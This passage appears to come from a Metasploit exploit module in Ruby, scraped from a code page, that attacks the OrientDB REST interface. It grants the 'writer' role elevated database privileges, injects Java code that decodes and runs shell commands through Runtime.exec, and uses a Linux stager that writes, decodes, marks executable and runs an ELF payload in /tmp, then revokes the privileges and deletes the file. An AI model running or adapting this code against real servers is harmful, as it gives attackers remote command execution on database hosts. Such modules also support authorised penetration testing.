|
rescue JSON::ParserError
|
||||||
|
fail_with(Failure::Unknown, 'Failed to delete the malicious function.')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def java_craft_runtime_exec(cmd)
|
||||||
|
decoder = Rex::Text.rand_text_alpha(5, 8)
|
||||||
|
decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
|
||||||
|
cmd_array = Rex::Text.rand_text_alpha(5, 8)
|
||||||
|
jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
|
||||||
|
jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
|
||||||
|
jcode << "String [] #{cmd_array} = new String[3];\n"
|
||||||
|
if target['Platform'] == 'win'
|
||||||
|
jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
|
||||||
|
jcode << "#{cmd_array}[1] = \"/c\";\n"
|
||||||
|
else
|
||||||
|
jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
|
||||||
|
jcode << "#{cmd_array}[1] = \"-c\";\n"
|
||||||
|
end
|
||||||
|
jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
|
||||||
|
jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
|
||||||
|
jcode
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_new_session(client)
|
||||||
|
if not @to_delete.nil?
|
||||||
|
print_warning("Deleting #{@to_delete} payload file")
|
||||||
|
execute_command("rm #{@to_delete}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def execute_command(cmd, opts = {})
|
||||||
|
vprint_status("Attempting to execute: #{cmd}")
|
||||||
|
@uri = target_uri
|
||||||
|
@uri.path = normalize_uri(@uri.path)
|
||||||
|
res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
|
||||||
|
if res && res.code == 200 && res.body.length > 0
|
||||||
|
begin
|
||||||
|
json_body = JSON.parse(res.body)["databases"]
|
||||||
|
rescue JSON::ParserError
|
||||||
|
print_error("Unable to parse JSON")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_error("Timeout or unexpected response...")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
targetdb = json_body[0]
|
||||||
|
http_send_command(cmd,targetdb)
|
||||||
|
end
|
||||||
|
|
||||||
|
def linux_stager
|
||||||
|
cmds = "echo LINE | tee FILE"
|
||||||
|
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
|
||||||
|
base64 = Rex::Text.encode_base64(exe)
|
||||||
|
base64.gsub!(/\=/, "\\u003d")
|
||||||
|
file = rand_text_alphanumeric(4+rand(4))
|
||||||
|
execute_command("touch /tmp/#{file}.b64")
|
||||||
|
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
|
||||||
|
base64.each_line do |line|
|
||||||
|
line.chomp!
|
||||||
|
cmd = cmds
|
||||||
|
cmd.gsub!(/LINE/, line)
|
||||||
|
execute_command(cmds)
|
||||||
|
end
|
||||||
|
execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
|
||||||
|
execute_command("chmod +x /tmp/#{file}")
|
||||||
|
execute_command("rm /tmp/#{file}.b64")
|
||||||
|
execute_command("/tmp/#{file}")
|
||||||
|
@to_delete = "/tmp/#{file}"
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
@uri = target_uri
|
||||||
|
@uri.path = normalize_uri(@uri.path)
|
||||||
|
res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
|
||||||
|
if res && res.code == 200 && res.body.length > 0
|
||||||
|
begin
|
||||||
|
json_body = JSON.parse(res.body)["databases"]
|
||||||
|
rescue JSON::ParserError
|
||||||
|
print_error("Unable to parse JSON")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_error("Timeout or unexpected response...")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
targetdb = json_body[0]
|
||||||
|
privs_enable = ['create','read','update','execute','delete']
|
||||||
|
items = ['database.class.ouser','database.function','database.systemclusters']
|
||||||
|
# Set the required DB permissions
|
||||||
|
privs_enable.each do |priv|
|
||||||
|
items.each do |item|
|
||||||
|
request_parameters = {
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
|
||||||
|
'vars_get' => { 'format' => 'rid,type,version,class,graph' },
|
||||||
|
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||||
|
'headers' => { 'Accept' => '*/*' },
|
||||||
|
'data' => "GRANT #{priv} ON #{item} TO writer"
|
||||||
|
}
|
||||||
|
res = send_request_raw(request_parameters)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
# Exploit
|
||||||
|
case target['Platform']
|
||||||
|
when 'win'
|
||||||
|
print_status("#{rhost}:#{rport} - Sending command stager...")
|
||||||
|
execute_cmdstager(flavor: :vbs)
|
||||||
|
when 'unix'
|
||||||
|
print_status("#{rhost}:#{rport} - Sending payload...")
|
||||||
|
res = http_send_command("#{payload.encoded}","#{targetdb}")
|
||||||
|
when 'linux'
|
||||||
|
print_status("#{rhost}:#{rport} - Sending Linux stager...")
|
||||||
|
linux_stager
|
||||||
|
end
|
||||||
|
handler
|
||||||
|
# Final Cleanup
|
||||||
|
privs_enable.each do |priv|
|
||||||
|
items.each do |item|
|
||||||
|
request_parameters = {
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
|
||||||
|
'vars_get' => { 'format' => 'rid,type,version,class,graph' },
|
||||||
|
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||||
|
'headers' => { 'Accept' => '*/*' },
|
||||||
|
'data' => "REVOKE #{priv} ON #{item} FROM writer"
|
||||||
|
}
|
||||||
|
res = send_request_raw(request_parameters)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
Loading…
Add table
Reference in a new issue